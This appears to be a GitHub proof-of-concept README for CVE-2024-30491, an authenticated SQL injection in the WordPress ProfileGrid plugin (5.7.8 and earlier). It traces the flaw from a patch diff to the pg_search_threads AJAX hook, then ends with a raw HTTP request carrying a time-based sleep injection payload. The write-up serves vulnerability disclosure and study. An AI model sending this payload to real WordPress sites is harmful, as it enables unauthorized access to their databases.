CVE-2024-30491 PoC — WordPress ProfileGrid – User Profiles, Memberships, Groups and Communities plugin <= 5.7.8 - SQL Injection vulnerability

Readme

# CVE-2024-30491-Poc
## ProfileGrid <= 5.7.8 - Authenticated (Subscriber+) SQL Injection

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/profilegrid-user-profiles-groups-and-communities/profilegrid-578-authenticated-subscriber-sql-injection

Build wordpress: ```docker-compose -f stack.yml up```

Step 1: Diff ProfileGrid 5.7.8 and ProfileGrid 5.7.9
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/644fb3c9-df32-40e6-910f-24ce69218595)
File: includes\class-profile-magic-dbhandler.php => function get_all_result change in variable $additional
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/6d372af1-1558-439b-9263-df5052cf63f3)
Check function pm_filter_addtional_query_parameter in file includes\class-profile-magic-dbhandler.php (ProfileGrid 5.7.9) it seems to check for keywords that are capable of sql injection
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/4a6e697e-b617-4744-991d-658d68ca740f)

Step2: Focus plugin ProfileGrid 5.7.8 . I search for functions that call the function get_all_result.
I found function pm_messenger_search_threads in file includes\class-profile-magic-chat-system.php call function get_all_result.
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/c6ab397e-d4e9-4551-aabb-4fa7816550c3)

Step3: I search for functions that call the function pm_messenger_search_threads

File: public\class-profile-magic-public.php function pg_search_threads call function pm_messenger_search_threads
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/87e303d7-095b-42ce-949f-f59613159a98)

Step4: 
File: includes\class-profile-magic.php
I found registering an action and hook name `wp_ajax_pg_search_threads`. When this hook is run, the `pg_search threads` function is called to process the request and return the results.
![image](https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/990ee72d-c168-46c6-b350-932152419b96)

Exploit:
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <Host>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Cookie: {{Cookie}}
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

action=pg_search_threads&search='+and+sleep(if(1=1,5,0))--+-

```


https://github.com/truonghuuphuc/CVE-2024-30491-Poc/assets/20487674/591033b5-94cd-4bf2-966e-b28c2bd592f5

File Snapshot

Remarks